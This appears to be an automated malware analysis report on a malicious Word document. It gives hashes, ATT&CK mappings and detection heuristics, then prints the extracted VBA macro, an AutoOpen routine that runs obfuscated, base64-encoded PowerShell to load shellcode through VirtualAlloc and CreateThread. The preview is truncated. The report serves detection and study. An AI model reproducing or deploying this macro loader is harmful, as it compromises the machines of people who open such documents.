Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2666fd838c93d197…

MALICIOUS

Office (OOXML)

116.4 KB Created: 2018-06-18 02:47:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: ade97cec2790c987ca0def944b1e7ef3 SHA-1: 25a5e35d761c35431a29de222344100b5cd79d7f SHA-256: 2666fd838c93d1973117d972fdb32326ff2718557f3caef6f2f71f0a62694b9f
344 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine that is designed to execute obfuscated PowerShell code. The script reassembles the string 'powershell' from split literals and then constructs a complex PowerShell command. This command appears to dynamically load functions from 'kernell32.dll' and 'msvcrtdll.dll' to download and execute a second-stage payload, indicated by the ClamAV detection of 'Doc.Downloader.Generic-6698275-0'.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6698275-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698275-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 9457 bytes
SHA-256: 7f4d6166b488e0c88ab40999054f2ab07d8702fbec9d4297a6fa5249d767bb0a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Dim gvRQlDWLE
gvRQlDWLE = " /w 1 /C ""s''v Ik -;s''v auy e''c;s''v HHS ((g''v Ik).value.toString()+(g''v auy).value.toString());" & "p" & "o" & "w" & "e" & "r" & "s" & "h" & "e" & "l" & "l" & " (g''v HHS).value.toString() ('JABvAFgAIAA9ACAAJwAkAEgAVgAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAd" _
& "ABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAFQAVgAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAEgAVgAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AO" _
& "wBbAEIAeQB0AGUAWwBdAF0AJABXAHAAIAA9ACAAMAB4AGYAYwAsADAAeABlADgALAAwAHgAOAAyACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADYAMAAsADAAeAA4ADkALAAwAHgAZQA1ACwAMAB4ADMAMQAsADAAeABjADAALAAwAHgANgA0ACwAMAB4ADgAYgAsADAAeAA1ADAALAAwAHgAMwAwACwAMAB4ADgAYgAsADAAeAA1ADIALAAwAHgAMABjACwAMAB4ADgAYgAsADAAeAA1ADIALAAwAHgAMQA0ACwAMAB4ADgAYgAsADAAeAA3ADIALAAwAHgAMgA4ACwAMAB4ADAAZgAsADAAeABiADcALAAwAHgANABhACwAMAB4ADIANgAsADAAeAAzADEALAAwAHgAZgBmACwAMAB4AGEAYwAsADAAeAAzAGMALAAwAHgANgAxACwAMAB4ADcAYwAsADAAeAAwADIALAAwAHgAMgBjACwAMAB4ADIAMAAsADAAeABjADEALAAwAHgAYwBmACwAMAB4ADAAZAAsADAAeAAwADEALAAwAHgAYwA3ACwAMAB4AGUAMgAsADAAeABmADIALAAwAHgANQAyACwAMAB4ADUANwAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADEAMAAsADAAeAA4AGIALAAwAHgANABhACwAMAB4ADMAYwAsADAAeAA4AGIALAAwAHgANABjACwAMAB4ADEAMQAsADAAeAA3ADgALAAwAHgAZQAzACwAM" _
& "AB4ADQAOAAsADAAeAAwADEALAAwAHgAZAAxACwAMAB4ADUAMQAsADAAeAA4AGIALAAwAHgANQA5ACwAMAB4ADIAMAAsADAAeAAwADEALAAwAHgAZAAzACwAMAB4ADgAYgAsADAAeAA0ADkALAAwAHgAMQA4ACwAMAB4AGUAMwAsADAAeAAzAGEALAAwAHgANAA5ACwAMAB4ADgAYgAsADAAeAAzADQALAAwAHgAOABiACwAMAB4ADAAMQAsADAAeABkADYALAAwAHgAMwAxACwAMAB4AGYAZgAsADAAeABhAGMALAAwAHgAYwAxACwAMAB4AGMAZgAsADAAeAAwAGQALAAwAHgAMAAxACwAMAB4AGMANwAsADAAeAAzADgALAAwAHgAZQAwACwAMAB4ADcANQAsADAAeABmADYALAAwAHgAMAAzACwAMAB4ADcAZAAsADAAeABmADgALAAwAHgAMwBiACwAMAB4ADcAZAAsADAAeAAyADQALAAwAHgANwA1ACwAMAB4AGUANAAsADAAeAA1ADgALAAwAHgAOABiACwAMAB4ADUAOAAsADAAeAAyADQALAAwAHgAMAAxACwAMAB4AGQAMwAsADAAeAA2ADYALAAwAHgAOABiACwAMAB4ADAAYwAsADAAeAA0AGIALAAwAHgAOABiACwAMAB4ADUAOAAsADAAeAAxAGMALAAwAHgAMAAxACwAMAB4AGQAMwAsADAAeAA4AGIALAAwAHgAMAA0ACwAMAB4ADgAYgAsADAAeAAwADEALAAwAHgAZAAwACwAM" _
& "AB4ADgAOQAsADAAeAA0ADQALAAwAHgAMgA0ACwAMAB4ADIANAAsADAAeAA1AGIALAAwAHgANQBiACwAMAB4ADYAMQAsADAAeAA1ADkALAAwAHgANQBhACwAMAB4ADUAMQAsADAAeABmAGYALAAwAHgAZQAwACwAMAB4ADUAZgAsADAAeAA1AGYALAAwAHgANQBhACwAMAB4ADgAYgAsADAAeAAxADIALAAwAHgAZQBiACwAMAB4ADgAZAAsADAAeAA1AGQALAAwAHgANgA4ACwAMAB4ADYAZQAsADAAeAA2ADUALAAwAHgANwA0ACwAMAB4ADAAMAAsADAAeAA2ADgALAAwAHgANwA3ACwAMAB4ADYAOQAsADAAeAA2AGUALAAwAHgANgA5ACwAMAB4ADUANAAsADAAeAA2ADgALAAwAHgANABjACwAMAB4ADcANwAsADAA
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 24576 bytes
SHA-256: a88ef286936616c8a448f33075355b2f63dc7cca59b90a27221602d5b40afc5b
Detection
ClamAV: Doc.Downloader.Generic-6698275-0
Obfuscation or payload: likely
Carved artifact contains 11 long base64-like blob(s).

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